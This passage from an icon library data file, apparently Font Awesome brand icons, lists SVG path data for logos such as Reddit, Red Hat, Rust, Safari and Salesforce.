1.77 0 0 0 2-1.9v-.8a1.83 1.83 0 0 0-2-2.06zm-7.4-99.4L286 192l-7.1.1 5.7 4.3-2.1 6.8 5.8-4.1 5.8 4.1-2.1-6.8 5.7-4.3-7.1-.1z"],
	"readme": [576, 512, [], "f4d5", "M528.3 46.5H388.5c-48.1 0-89.9 33.3-100.4 80.3-10.6-47-52.3-80.3-100.4-80.3H48c-26.5 0-48 21.5-48 48v245.8c0 26.5 21.5 48 48 48h89.7c102.2 0 132.7 24.4 147.3 75 .7 2.8 5.2 2.8 6 0 14.7-50.6 45.2-75 147.3-75H528c26.5 0 48-21.5 48-48V94.6c0-26.4-21.3-47.9-47.7-48.1zM242 311.9c0 1.9-1.5 3.5-3.5 3.5H78.2c-1.9 0-3.5-1.5-3.5-3.5V289c0-1.9 1.5-3.5 3.5-3.5h160.4c1.9 0 3.5 1.5 3.5 3.5v22.9zm0-60.9c0 1.9-1.5 3.5-3.5 3.5H78.2c-1.9 0-3.5-1.5-3.5-3.5v-22.9c0-1.9 1.5-3.5 3.5-3.5h160.4c1.9 0 3.5 1.5 3.5 3.5V251zm0-60.9c0 1.9-1.5 3.5-3.5 3.5H78.2c-1.9 0-3.5-1.5-3.5-3.5v-22.9c0-1.9 1.5-3.5 3.5-3.5h160.4c1.9 0 3.5 1.5 3.5 3.5v22.9zm259.3 121.7c0 1.9-1.5 3.5-3.5 3.5H337.5c-1.9 0-3.5-1.5-3.5-3.5v-22.9c0-1.9 1.5-3.5 3.5-3.5h160.4c1.9 0 3.5 1.5 3.5 3.5v22.9zm0-60.9c0 1.9-1.5 3.5-3.5 3.5H337.5c-1.9 0-3.5-1.5-3.5-3.5V228c0-1.9 1.5-3.5 3.5-3.5h160.4c1.9 0 3.5 1.5 3.5 3.5v22.9zm0-60.9c0 1.9-1.5 3.5-3.5 3.5H337.5c-1.9 0-3.5-1.5-3.5-3.5v-22.8c0-1.9 1.5-3.5 3.5-3.5h160.4c1.9 0 3.5 1.5 3.5 3.5V190z"],
	"rebel": [512, 512, [], "f1d0", "M256.5 504C117.2 504 9 387.8 13.2 249.9 16 170.7 56.4 97.7 129.7 49.5c.3 0 1.9-.6 1.1.8-5.8 5.5-111.3 129.8-14.1 226.4 49.8 49.5 90 2.5 90 2.5 38.5-50.1-.6-125.9-.6-125.9-10-24.9-45.7-40.1-45.7-40.1l28.8-31.8c24.4 10.5 43.2 38.7 43.2 38.7.8-29.6-21.9-61.4-21.9-61.4L255.1 8l44.3 50.1c-20.5 28.8-21.9 62.6-21.9 62.6 13.8-23 43.5-39.3 43.5-39.3l28.5 31.8c-27.4 8.9-45.4 39.9-45.4 39.9-15.8 28.5-27.1 89.4.6 127.3 32.4 44.6 87.7-2.8 87.7-2.8 102.7-91.9-10.5-225-10.5-225-6.1-5.5.8-2.8.8-2.8 50.1 36.5 114.6 84.4 116.2 204.8C500.9 400.2 399 504 256.5 504z"],
	"red-river": [448, 512, [], "f3e3", "M353.2 32H94.8C42.4 32 0 74.4 0 126.8v258.4C0 437.6 42.4 480 94.8 480h258.4c52.4 0 94.8-42.4 94.8-94.8V126.8c0-52.4-42.4-94.8-94.8-94.8zM144.9 200.9v56.3c0 27-21.9 48.9-48.9 48.9V151.9c0-13.2 10.7-23.9 23.9-23.9h154.2c0 27-21.9 48.9-48.9 48.9h-56.3c-12.3-.6-24.6 11.6-24 24zm176.3 72h-56.3c-12.3-.6-24.6 11.6-24 24v56.3c0 27-21.9 48.9-48.9 48.9V247.9c0-13.2 10.7-23.9 23.9-23.9h154.2c0 27-21.9 48.9-48.9 48.9z"],
	"reddit": [512, 512, [], "f1a1", "M201.5 305.5c-13.8 0-24.9-11.1-24.9-24.6 0-13.8 11.1-24.9 24.9-24.9 13.6 0 24.6 11.1 24.6 24.9 0 13.6-11.1 24.6-24.6 24.6zM504 256c0 137-111 248-248 248S8 393 8 256 119 8 256 8s248 111 248 248zm-132.3-41.2c-9.4 0-17.7 3.9-23.8 10-22.4-15.5-52.6-25.5-86.1-26.6l17.4-78.3 55.4 12.5c0 13.6 11.1 24.6 24.6 24.6 13.8 0 24.9-11.3 24.9-24.9s-11.1-24.9-24.9-24.9c-9.7 0-18 5.8-22.1 13.8l-61.2-13.6c-3-.8-6.1 1.4-6.9 4.4l-19.1 86.4c-33.2 1.4-63.1 11.3-85.5 26.8-6.1-6.4-14.7-10.2-24.1-10.2-34.9 0-46.3 46.9-14.4 62.8-1.1 5-1.7 10.2-1.7 15.5 0 52.6 59.2 95.2 132 95.2 73.1 0 132.3-42.6 132.3-95.2 0-5.3-.6-10.8-1.9-15.8 31.3-16 19.8-62.5-14.9-62.5zM302.8 331c-18.2 18.2-76.1 17.9-93.6 0-2.2-2.2-6.1-2.2-8.3 0-2.5 2.5-2.5 6.4 0 8.6 22.8 22.8 87.3 22.8 110.2 0 2.5-2.2 2.5-6.1 0-8.6-2.2-2.2-6.1-2.2-8.3 0zm7.7-75c-13.6 0-24.6 11.1-24.6 24.9 0 13.6 11.1 24.6 24.6 24.6 13.8 0 24.9-11.1 24.9-24.6 0-13.8-11-24.9-24.9-24.9z"],
	"reddit-alien": [512, 512, [], "f281", "M440.3 203.5c-15 0-28.2 6.2-37.9 15.9-35.7-24.7-83.8-40.6-137.1-42.3L293 52.3l88.2 19.8c0 21.6 17.6 39.2 39.2 39.2 22 0 39.7-18.1 39.7-39.7s-17.6-39.7-39.7-39.7c-15.4 0-28.7 9.3-35.3 22l-97.4-21.6c-4.9-1.3-9.7 2.2-11 7.1L246.3 177c-52.9 2.2-100.5 18.1-136.3 42.8-9.7-10.1-23.4-16.3-38.4-16.3-55.6 0-73.8 74.6-22.9 100.1-1.8 7.9-2.6 16.3-2.6 24.7 0 83.8 94.4 151.7 210.3 151.7 116.4 0 210.8-67.9 210.8-151.7 0-8.4-.9-17.2-3.1-25.1 49.9-25.6 31.5-99.7-23.8-99.7zM129.4 308.9c0-22 17.6-39.7 39.7-39.7 21.6 0 39.2 17.6 39.2 39.7 0 21.6-17.6 39.2-39.2 39.2-22 .1-39.7-17.6-39.7-39.2zm214.3 93.5c-36.4 36.4-139.1 36.4-175.5 0-4-3.5-4-9.7 0-13.7 3.5-3.5 9.7-3.5 13.2 0 27.8 28.5 120 29 149 0 3.5-3.5 9.7-3.5 13.2 0 4.1 4 4.1 10.2.1 13.7zm-.8-54.2c-21.6 0-39.2-17.6-39.2-39.2 0-22 17.6-39.7 39.2-39.7 22 0 39.7 17.6 39.7 39.7-.1 21.5-17.7 39.2-39.7 39.2z"],
	"reddit-square": [448, 512, [], "f1a2", "M283.2 345.5c2.7 2.7 2.7 6.8 0 9.2-24.5 24.5-93.8 24.6-118.4 0-2.7-2.4-2.7-6.5 0-9.2 2.4-2.4 6.5-2.4 8.9 0 18.7 19.2 81 19.6 100.5 0 2.4-2.3 6.6-2.3 9 0zm-91.3-53.8c0-14.9-11.9-26.8-26.5-26.8-14.9 0-26.8 11.9-26.8 26.8 0 14.6 11.9 26.5 26.8 26.5 14.6 0 26.5-11.9 26.5-26.5zm90.7-26.8c-14.6 0-26.5 11.9-26.5 26.8 0 14.6 11.9 26.5 26.5 26.5 14.9 0 26.8-11.9 26.8-26.5 0-14.9-11.9-26.8-26.8-26.8zM448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zm-99.7 140.6c-10.1 0-19 4.2-25.6 10.7-24.1-16.7-56.5-27.4-92.5-28.6l18.7-84.2 59.5 13.4c0 14.6 11.9 26.5 26.5 26.5 14.9 0 26.8-12.2 26.8-26.8 0-14.6-11.9-26.8-26.8-26.8-10.4 0-19.3 6.2-23.8 14.9l-65.7-14.6c-3.3-.9-6.5 1.5-7.4 4.8l-20.5 92.8c-35.7 1.5-67.8 12.2-91.9 28.9-6.5-6.8-15.8-11-25.9-11-37.5 0-49.8 50.4-15.5 67.5-1.2 5.4-1.8 11-1.8 16.7 0 56.5 63.7 102.3 141.9 102.3 78.5 0 142.2-45.8 142.2-102.3 0-5.7-.6-11.6-2.1-17 33.6-17.2 21.2-67.2-16.1-67.2z"],
	"redhat": [512, 512, [], "f7bc", "M341.52 285.56c33.65 0 82.34-6.94 82.34-47 .22-6.74.86-1.82-20.88-96.24-4.62-19.15-8.68-27.84-42.31-44.65-26.09-13.34-82.92-35.37-99.73-35.37-15.66 0-20.2 20.17-38.87 20.17-18 0-31.31-15.06-48.12-15.06-16.14 0-26.66 11-34.78 33.62-27.5 77.55-26.28 74.27-26.12 78.27 0 24.8 97.64 106.11 228.47 106.11M429 254.84c4.65 22 4.65 24.35 4.65 27.25 0 37.66-42.33 58.56-98 58.56-125.74.08-235.91-73.65-235.91-122.33a49.55 49.55 0 0 1 4.06-19.72C58.56 200.86 0 208.93 0 260.63c0 84.67 200.63 189 359.49 189 121.79 0 152.51-55.08 152.51-98.58 0-34.21-29.59-73.05-82.93-96.24"],
	"renren": [512, 512, [], "f18b", "M214 169.1c0 110.4-61 205.4-147.6 247.4C30 373.2 8 317.7 8 256.6 8 133.9 97.1 32.2 214 12.5v156.6zM255 504c-42.9 0-83.3-11-118.5-30.4C193.7 437.5 239.9 382.9 255 319c15.5 63.9 61.7 118.5 118.8 154.7C338.7 493 298.3 504 255 504zm190.6-87.5C359 374.5 298 279.6 298 169.1V12.5c116.9 19.7 206 121.4 206 244.1 0 61.1-22 116.6-58.4 159.9z"],
	"replyd": [448, 512, [], "f3e6", "M320 480H128C57.6 480 0 422.4 0 352V160C0 89.6 57.6 32 128 32h192c70.4 0 128 57.6 128 128v192c0 70.4-57.6 128-128 128zM193.4 273.2c-6.1-2-11.6-3.1-16.4-3.1-7.2 0-13.5 1.9-18.9 5.6-5.4 3.7-9.6 9-12.8 15.8h-1.1l-4.2-18.3h-28v138.9h36.1v-89.7c1.5-5.4 4.4-9.8 8.7-13.2 4.3-3.4 9.8-5.1 16.2-5.1 4.6 0 9.8 1 15.6 3.1l4.8-34zm115.2 103.4c-3.2 2.4-7.7 4.8-13.7 7.1-6 2.3-12.8 3.5-20.4 3.5-12.2 0-21.1-3-26.5-8.9-5.5-5.9-8.5-14.7-9-26.4h83.3c.9-4.8 1.6-9.4 2.1-13.9.5-4.4.7-8.6.7-12.5 0-10.7-1.6-19.7-4.7-26.9-3.2-7.2-7.3-13-12.5-17.2-5.2-4.3-11.1-7.3-17.8-9.2-6.7-1.8-13.5-2.8-20.6-2.8-21.1 0-37.5 6.1-49.2 18.3s-17.5 30.5-17.5 55c0 22.8 5.2 40.7 15.6 53.7 10.4 13.1 26.8 19.6 49.2 19.6 10.7 0 20.9-1.5 30.4-4.6 9.5-3.1 17.1-6.8 22.6-11.2l-12-23.6zm-21.8-70.3c3.8 5.4 5.3 13.1 4.6 23.1h-51.7c.9-9.4 3.7-17 8.2-22.6 4.5-5.6 11.5-8.5 21-8.5 8.2-.1 14.1 2.6 17.9 8zm79.9 2.5c4.1 3.9 9.4 5.8 16.1 5.8 7 0 12.6-1.9 16.7-5.8s6.1-9.1 6.1-15.6-2-11.6-6.1-15.4c-4.1-3.8-9.6-5.7-16.7-5.7-6.7 0-12 1.9-16.1 5.7-4.1 3.8-6.1 8.9-6.1 15.4s2 11.7 6.1 15.6zm0 100.5c4.1 3.9 9.4 5.8 16.1 5.8 7 0 12.6-1.9 16.7-5.8s6.1-9.1 6.1-15.6-2-11.6-6.1-15.4c-4.1-3.8-9.6-5.7-16.7-5.7-6.7 0-12 1.9-16.1 5.7-4.1 3.8-6.1 8.9-6.1 15.4 0 6.6 2 11.7 6.1 15.6z"],
	"researchgate": [448, 512, [], "f4f8", "M0 32v448h448V32H0zm262.2 334.4c-6.6 3-33.2 6-50-14.2-9.2-10.6-25.3-33.3-42.2-63.6-8.9 0-14.7 0-21.4-.6v46.4c0 23.5 6 21.2 25.8 23.9v8.1c-6.9-.3-23.1-.8-35.6-.8-13.1 0-26.1.6-33.6.8v-8.1c15.5-2.9 22-1.3 22-23.9V225c0-22.6-6.4-21-22-23.9V193c25.8 1 53.1-.6 70.9-.6 31.7 0 55.9 14.4 55.9 45.6 0 21.1-16.7 42.2-39.2 47.5 13.6 24.2 30 45.6 42.2 58.9 7.2 7.8 17.2 14.7 27.2 14.7v7.3zm22.9-135c-23.3 0-32.2-15.7-32.2-32.2V167c0-12.2 8.8-30.4 34-30.4s30.4 17.9 30.4 17.9l-10.7 7.2s-5.5-12.5-19.7-12.5c-7.9 0-19.7 7.3-19.7 19.7v26.8c0 13.4 6.6 23.3 17.9 23.3 14.1 0 21.5-10.9 21.5-26.8h-17.9v-10.7h30.4c0 20.5 4.7 49.9-34 49.9zm-116.5 44.7c-9.4 0-13.6-.3-20-.8v-69.7c6.4-.6 15-.6 22.5-.6 23.3 0 37.2 12.2 37.2 34.5 0 21.9-15 36.6-39.7 36.6z"],
	"resolving": [496, 512, [], "f3e7", "M281.2 278.2c46-13.3 49.6-23.5 44-43.4L314 195.5c-6.1-20.9-18.4-28.1-71.1-12.8L54.7 236.8l28.6 98.6 197.9-57.2zM248.5 8C131.4 8 33.2 88.7 7.2 197.5l221.9-63.9c34.8-10.2 54.2-11.7 79.3-8.2 36.3 6.1 52.7 25 61.4 55.2l10.7 37.8c8.2 28.1 1 50.6-23.5 73.6-19.4 17.4-31.2 24.5-61.4 33.2L203 351.8l220.4 27.1 9.7 34.2-48.1 13.3-286.8-37.3 23 80.2c36.8 22 80.3 34.7 126.3 34.7 137 0 248.5-111.4 248.5-248.3C497 119.4 385.5 8 248.5 8zM38.3 388.6L0 256.8c0 48.5 14.3 93.4 38.3 131.8z"],
	"rev": [448, 512, [], "f5b2", "M289.67 274.89a65.57 65.57 0 1 1-65.56-65.56 65.64 65.64 0 0 1 65.56 65.56zm139.55-5.05h-.13a204.69 204.69 0 0 0-74.32-153l-45.38 26.2a157.07 157.07 0 0 1 71.81 131.84C381.2 361.5 310.73 432 224.11 432S67 361.5 67 274.88c0-81.88 63-149.27 143-156.43v39.12l108.77-62.79L210 32v38.32c-106.7 7.25-191 96-191 204.57 0 111.59 89.12 202.29 200.06 205v.11h210.16V269.84z"],
	"rocketchat": [576, 512, [], "f3e8", "M284.046,224.8a34.114,34.114,0,1,0,34.317,34.113A34.217,34.217,0,0,0,284.046,224.8Zm-110.45,0a34.114,34.114,0,1,0,34.317,34.113A34.217,34.217,0,0,0,173.6,224.8Zm220.923,0a34.114,34.114,0,1,0,34.317,34.113A34.215,34.215,0,0,0,394.519,224.8Zm153.807-55.319c-15.535-24.172-37.31-45.57-64.681-63.618-52.886-34.817-122.374-54-195.666-54a405.975,405.975,0,0,0-72.032,6.357,238.524,238.524,0,0,0-49.51-36.588C99.684-11.7,40.859.711,11.135,11.421A14.291,14.291,0,0,0,5.58,34.782C26.542,56.458,61.222,99.3,52.7,138.252c-33.142,33.9-51.112,74.776-51.112,117.337,0,43.372,17.97,84.248,51.112,118.148,8.526,38.956-26.154,81.816-47.116,103.491a14.284,14.284,0,0,0,5.555,23.34c29.724,10.709,88.549,23.147,155.324-10.2a238.679,238.679,0,0,0,49.51-36.589A405.972,405.972,0,0,0,288,460.14c73.313,0,142.8-19.159,195.667-53.975,27.371-18.049,49.145-39.426,64.679-63.619,17.309-26.923,26.07-55.916,26.07-86.125C574.394,225.4,565.634,196.43,548.326,169.485ZM284.987,409.9a345.65,345.65,0,0,1-89.446-11.5l-20.129,19.393a184.366,184.366,0,0,1-37.138,27.585,145.767,145.767,0,0,1-52.522,14.87c.983-1.771,1.881-3.563,2.842-5.356q30.258-55.68,16.325-100.078c-32.992-25.962-52.778-59.2-52.778-95.4,0-83.1,104.254-150.469,232.846-150.469s232.867,67.373,232.867,150.469C517.854,342.525,413.6,409.9,284.987,409.9Z"],
	"rockrms": [496, 512, [], "f3e9", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm157.4 419.5h-90l-112-131.3c-17.9-20.4-3.9-56.1 26.6-56.1h75.3l-84.6-99.3-84.3 98.9h-90L193.5 67.2c14.4-18.4 41.3-17.3 54.5 0l157.7 185.1c19 22.8 2 57.2-27.6 56.1-.6 0-74.2.2-74.2.2l101.5 118.9z"],
	"rust": [512, 512, [], "e07a", "M508.52,249.75,486.7,236.24c-.17-2-.34-3.93-.55-5.88l18.72-17.5a7.35,7.35,0,0,0-2.44-12.25l-24-9c-.54-1.88-1.08-3.78-1.67-5.64l15-20.83a7.35,7.35,0,0,0-4.79-11.54l-25.42-4.15c-.9-1.73-1.79-3.45-2.73-5.15l10.68-23.42a7.35,7.35,0,0,0-6.95-10.39l-25.82.91q-1.79-2.22-3.61-4.4L439,81.84A7.36,7.36,0,0,0,430.16,73L405,78.93q-2.17-1.83-4.4-3.61l.91-25.82a7.35,7.35,0,0,0-10.39-7L367.7,53.23c-1.7-.94-3.43-1.84-5.15-2.73L358.4,25.08a7.35,7.35,0,0,0-11.54-4.79L326,35.26c-1.86-.59-3.75-1.13-5.64-1.67l-9-24a7.35,7.35,0,0,0-12.25-2.44l-17.5,18.72c-1.95-.21-3.91-.38-5.88-.55L262.25,3.48a7.35,7.35,0,0,0-12.5,0L236.24,25.3c-2,.17-3.93.34-5.88.55L212.86,7.13a7.35,7.35,0,0,0-12.25,2.44l-9,24c-1.89.55-3.79,1.08-5.66,1.68l-20.82-15a7.35,7.35,0,0,0-11.54,4.79l-4.15,25.41c-1.73.9-3.45,1.79-5.16,2.73L120.88,42.55a7.35,7.35,0,0,0-10.39,7l.92,25.81c-1.49,1.19-3,2.39-4.42,3.61L81.84,73A7.36,7.36,0,0,0,73,81.84L78.93,107c-1.23,1.45-2.43,2.93-3.62,4.41l-25.81-.91a7.42,7.42,0,0,0-6.37,3.26,7.35,7.35,0,0,0-.57,7.13l10.66,23.41c-.94,1.7-1.83,3.43-2.73,5.16L25.08,153.6a7.35,7.35,0,0,0-4.79,11.54l15,20.82c-.59,1.87-1.13,3.77-1.68,5.66l-24,9a7.35,7.35,0,0,0-2.44,12.25l18.72,17.5c-.21,1.95-.38,3.91-.55,5.88L3.48,249.75a7.35,7.35,0,0,0,0,12.5L25.3,275.76c.17,2,.34,3.92.55,5.87L7.13,299.13a7.35,7.35,0,0,0,2.44,12.25l24,9c.55,1.89,1.08,3.78,1.68,5.65l-15,20.83a7.35,7.35,0,0,0,4.79,11.54l25.42,4.15c.9,1.72,1.79,3.45,2.73,5.14L42.56,391.12a7.35,7.35,0,0,0,.57,7.13,7.13,7.13,0,0,0,6.37,3.26l25.83-.91q1.77,2.22,3.6,4.4L73,430.16A7.36,7.36,0,0,0,81.84,439L107,433.07q2.18,1.83,4.41,3.61l-.92,25.82a7.35,7.35,0,0,0,10.39,6.95l23.43-10.68c1.69.94,3.42,1.83,5.14,2.73l4.15,25.42a7.34,7.34,0,0,0,11.54,4.78l20.83-15c1.86.6,3.76,1.13,5.65,1.68l9,24a7.36,7.36,0,0,0,12.25,2.44l17.5-18.72c1.95.21,3.92.38,5.88.55l13.51,21.82a7.35,7.35,0,0,0,12.5,0l13.51-21.82c2-.17,3.93-.34,5.88-.56l17.5,18.73a7.36,7.36,0,0,0,12.25-2.44l9-24c1.89-.55,3.78-1.08,5.65-1.68l20.82,15a7.34,7.34,0,0,0,11.54-4.78l4.15-25.42c1.72-.9,3.45-1.79,5.15-2.73l23.42,10.68a7.35,7.35,0,0,0,10.39-6.95l-.91-25.82q2.22-1.79,4.4-3.61L430.16,439a7.36,7.36,0,0,0,8.84-8.84L433.07,405q1.83-2.17,3.61-4.4l25.82.91a7.23,7.23,0,0,0,6.37-3.26,7.35,7.35,0,0,0,.58-7.13L458.77,367.7c.94-1.7,1.83-3.43,2.73-5.15l25.42-4.15a7.35,7.35,0,0,0,4.79-11.54l-15-20.83c.59-1.87,1.13-3.76,1.67-5.65l24-9a7.35,7.35,0,0,0,2.44-12.25l-18.72-17.5c.21-1.95.38-3.91.55-5.87l21.82-13.51a7.35,7.35,0,0,0,0-12.5Zm-151,129.08A13.91,13.91,0,0,0,341,389.51l-7.64,35.67A187.51,187.51,0,0,1,177,424.44l-7.64-35.66a13.87,13.87,0,0,0-16.46-10.68l-31.51,6.76a187.38,187.38,0,0,1-16.26-19.21H258.3c1.72,0,2.89-.29,2.89-1.91V309.55c0-1.57-1.17-1.91-2.89-1.91H213.47l.05-34.35H262c4.41,0,23.66,1.28,29.79,25.87,1.91,7.55,6.17,32.14,9.06,40,2.89,8.82,14.6,26.46,27.1,26.46H407a187.3,187.3,0,0,1-17.34,20.09Zm25.77,34.49A15.24,15.24,0,1,1,368,398.08h.44A15.23,15.23,0,0,1,383.24,413.32Zm-225.62-.68a15.24,15.24,0,1,1-15.25-15.25h.45A15.25,15.25,0,0,1,157.62,412.64ZM69.57,234.15l32.83-14.6a13.88,13.88,0,0,0,7.06-18.33L102.69,186h26.56V305.73H75.65A187.65,187.65,0,0,1,69.57,234.15ZM58.31,198.09a15.24,15.24,0,0,1,15.23-15.25H74a15.24,15.24,0,1,1-15.67,15.24Zm155.16,24.49.05-35.32h63.26c3.28,0,23.07,3.77,23.07,18.62,0,12.29-15.19,16.7-27.68,16.7ZM399,306.71c-9.8,1.13-20.63-4.12-22-10.09-5.78-32.49-15.39-39.4-30.57-51.4,18.86-11.95,38.46-29.64,38.46-53.26,0-25.52-17.49-41.59-29.4-49.48-16.76-11-35.28-13.23-40.27-13.23H116.32A187.49,187.49,0,0,1,221.21,70.06l23.47,24.6a13.82,13.82,0,0,0,19.6.44l26.26-25a187.51,187.51,0,0,1,128.37,91.43l-18,40.57A14,14,0,0,0,408,220.43l34.59,15.33a187.12,187.12,0,0,1,.4,32.54H423.71c-1.91,0-2.69,1.27-2.69,3.13v8.82C421,301,409.31,305.58,399,306.71ZM240,60.21A15.24,15.24,0,0,1,255.21,45h.45A15.24,15.24,0,1,1,240,60.21ZM436.84,214a15.24,15.24,0,1,1,0-30.48h.44a15.24,15.24,0,0,1-.44,30.48Z"],
	"safari": [512, 512, [], "f267", "M274.69,274.69l-37.38-37.38L166,346ZM256,8C119,8,8,119,8,256S119,504,256,504,504,393,504,256,393,8,256,8ZM411.85,182.79l14.78-6.13A8,8,0,0,1,437.08,181h0a8,8,0,0,1-4.33,10.46L418,197.57a8,8,0,0,1-10.45-4.33h0A8,8,0,0,1,411.85,182.79ZM314.43,94l6.12-14.78A8,8,0,0,1,331,74.92h0a8,8,0,0,1,4.33,10.45l-6.13,14.78a8,8,0,0,1-10.45,4.33h0A8,8,0,0,1,314.43,94ZM256,60h0a8,8,0,0,1,8,8V84a8,8,0,0,1-8,8h0a8,8,0,0,1-8-8V68A8,8,0,0,1,256,60ZM181,74.92a8,8,0,0,1,10.46,4.33L197.57,94a8,8,0,1,1-14.78,6.12l-6.13-14.78A8,8,0,0,1,181,74.92Zm-63.58,42.49h0a8,8,0,0,1,11.31,0L140,128.72A8,8,0,0,1,140,140h0a8,8,0,0,1-11.31,0l-11.31-11.31A8,8,0,0,1,117.41,117.41ZM60,256h0a8,8,0,0,1,8-8H84a8,8,0,0,1,8,8h0a8,8,0,0,1-8,8H68A8,8,0,0,1,60,256Zm40.15,73.21-14.78,6.13A8,8,0,0,1,74.92,331h0a8,8,0,0,1,4.33-10.46L94,314.43a8,8,0,0,1,10.45,4.33h0A8,8,0,0,1,100.15,329.21Zm4.33-136h0A8,8,0,0,1,94,197.57l-14.78-6.12A8,8,0,0,1,74.92,181h0a8,8,0,0,1,10.45-4.33l14.78,6.13A8,8,0,0,1,104.48,193.24ZM197.57,418l-6.12,14.78a8,8,0,0,1-14.79-6.12l6.13-14.78A8,8,0,1,1,197.57,418ZM264,444a8,8,0,0,1-8,8h0a8,8,0,0,1-8-8V428a8,8,0,0,1,8-8h0a8,8,0,0,1,8,8Zm67-6.92h0a8,8,0,0,1-10.46-4.33L314.43,418a8,8,0,0,1,4.33-10.45h0a8,8,0,0,1,10.45,4.33l6.13,14.78A8,8,0,0,1,331,437.08Zm63.58-42.49h0a8,8,0,0,1-11.31,0L372,383.28A8,8,0,0,1,372,372h0a8,8,0,0,1,11.31,0l11.31,11.31A8,8,0,0,1,394.59,394.59ZM286.25,286.25,110.34,401.66,225.75,225.75,401.66,110.34ZM437.08,331h0a8,8,0,0,1-10.45,4.33l-14.78-6.13a8,8,0,0,1-4.33-10.45h0A8,8,0,0,1,418,314.43l14.78,6.12A8,8,0,0,1,437.08,331ZM444,264H428a8,8,0,0,1-8-8h0a8,8,0,0,1,8-8h16a8,8,0,0,1,8,8h0A8,8,0,0,1,444,264Z"],
	"salesforce": [640, 512, [], "f83b", "M248.89 245.64h-26.35c.69-5.16 3.32-14.12 13.64-14.12 6.75 0 11.97 3.82 12.71 14.12zm136.66-13.88c-.47 0-14.11-1.77-14.11 20s13.63 20 14.11 20c13 0 14.11-13.54 14.11-20 0-21.76-13.66-20-14.11-20zm-243.22 23.76a8.63 8.63 0 0 0-3.29 7.29c0 4.78 2.08 6.05 3.29 7.05 4.7 3.7 15.07 2.12 20.93.95v-16.94c-5.32-1.07-16.73-1.96-20.93 1.65zM640 232c0 87.58-80 154.39-165.36 136.43-18.37 33-70.73 70.75-132.2 41.63-41.16 96.05-177.89 92.18-213.81-5.17C8.91 428.78-50.19 266.52 53.36 205.61 18.61 126.18 76 32 167.67 32a124.24 124.24 0 0 1 98.56 48.7c20.7-21.4 49.4-34.81 81.15-34.81 42.34 0 79 23.52 98.8 58.57C539 63.78 640 132.69 640 232zm-519.55 31.8c0-11.76-11.69-15.17-17.87-17.17-5.27-2.11-13.41-3.51-13.41-8.94 0-9.46 17-6.66 25.17-2.12 0 0 1.17.71 1.64-.47.24-.7 2.36-6.58 2.59-7.29a1.13 1.13 0 0 0-.7-1.41c-12.33-7.63-40.7-8.51-40.7 12.7 0 12.46 11.49 15.44 17.88 17.17 4.72 1.58 13.17 3 13.17 8.7 0 4-3.53 7.06-9.17 7.06a31.76 31.76 0 0 1-19-6.35c-.47-.23-1.42-.71-1.65.71l-2.4 7.47c-.47.94.23 1.18.23 1.41 1.75 1.4 10.3 6.59 22.82 6.59 13.17 0 21.4-7.06 21.4-18.11zm32-42.58c-10.13 0-18.66 3.17-21.4 5.18a1 1 0 0 0-.24 1.41l2.59 7.06a1 1 0 0 0 1.18.7c.65 0 6.8-4 16.93-4 4 0 7.06.71 9.18 2.36 3.6 2.8 3.06 8.29 3.06 10.58-4.79-.3-19.11-3.44-29.41 3.76a16.92 16.92 0 0 0-7.34 14.54c0 5.9 1.51 10.4 6.59 14.35 12.24 8.16 36.28 2 38.1 1.41 1.58-.32 3.53-.66 3.53-1.88v-33.88c.04-4.61.32-21.64-22.78-21.64zM199 200.24a1.11 1.11 0 0 0-1.18-1.18H188a1.11 1.11 0 0 0-1.17 1.18v79a1.11 1.11 0 0 0 1.17 1.18h9.88a1.11 1.11 0 0 0 1.18-1.18zm55.75 28.93c-2.1-2.31-6.79-7.53-17.65-7.53-3.51 0-14.16.23-20.7 8.94-6.35 7.63-6.58 18.11-6.58 21.41 0 3.12.15 14.26 7.06 21.17 2.64 2.91 9.06 8.23 22.81 8.23 10.82 0 16.47-2.35 18.58-3.76.47-.24.71-.71.24-1.88l-2.35-6.83a1.26 1.26 0 0 0-1.41-.7c-2.59.94-6.35 2.82-15.29 2.82-17.42 0-16.85-14.74-16.94-16.7h37.17a1.23 1.23 0 0 0 1.17-.94c-.29 0 2.07-14.7-6.09-24.23zm36.69 52.69c13.17 0 21.41-7.06 21.41-18.11 0-11.76-11.7-15.17-17.88-17.17-4.14-1.66-13.41-3.38-13.41-8.94 0-3.76 3.29-6.35 8.47-6.35a38.11 38.11 0 0 1 16.7 4.23s1.18.71 1.65-.47c.23-.7 2.35-6.58 2.58-7.29a1.13 1.13 0 0 0-.7-1.41c-7.91-4.9-16.74-4.94-20.23-4.94-12 0-20.46 7.29-20.46 17.64 0 12.46 11.48 15.44 17.87 17.17 6.11 2 13.17 3.26 13.17 8.7 0 4-3.52 7.06-9.17 7.06a31.8 31.8 0 0 1-19-6.35 1 1 0 0 0-1.65.71l-2.35 7.52c-.47.94.23 1.18.23 1.41 1.72 1.4 10.33 6.59 22.79 6.59zM357.09 224c0-.71-.24-1.18-1.18-1.18h-11.76c0-.14.94-8.94 4.47-12.47 4.16-4.15 11.76-1.64 12-1.64 1.17.47 1.41 0 1.64-.47l2.83-7.77c.7-.94 0-1.17-.24-1.41-5.09-2-17.35-2.87-24.46 4.24-5.48 5.48-7 13.92-8 19.52h-8.47a1.28 1.28 0 0 0-1.17 1.18l-1.42 7.76c0 .7.24 1.17 1.18 1.17h8.23c-8.51 47.9-8.75 50.21-10.35 55.52-1.08 3.62-3.29 6.9-5.88 7.76-.09 0-3.88 1.68-9.64-.24 0 0-.94-.47-1.41.71-.24.71-2.59 6.82-2.83 7.53s0 1.41.47 1.41c5.11 2 13 1.77 17.88 0 6.28-2.28 9.72-7.89 11.53-12.94 2.75-7.71 2.81-9.79 11.76-59.74h12.23a1.29 1.29 0 0 0 1.18-1.18zm53.39 16c-.56-1.68-5.1-18.11-25.17-18.11-15.25 0-23 10-25.16 18.11-1 3-3.18 14 0 23.52.09.3 4.41 18.12 25.16 18.12 14.95 0 22.9-9.61 25.17-18.12 3.21-9.61 1.01-20.52 0-23.52zm45.4-16.7c-5-1.65-16.62-1.9-22.11 5.41v-4.47a1.11 1.11 0 0 0-1.18-1.17h-9.4a1.11 1.11 0 0 0-1.18 1.17v55.28a1.12 1.12 0 0 0 1.18 1.18h9.64a1.12 1.12 0 0 0 1.18-1.18v-27.77c0-2.91.05-11.37 4.46-15.05 4.9-4.9 12-3.36 13.41-3.06a1.57 1.57 0 0 0 1.41-.94 74 74 0 0 0 3.06-8 1.16 1.16 0 0 0-.47-1.41zm46.81 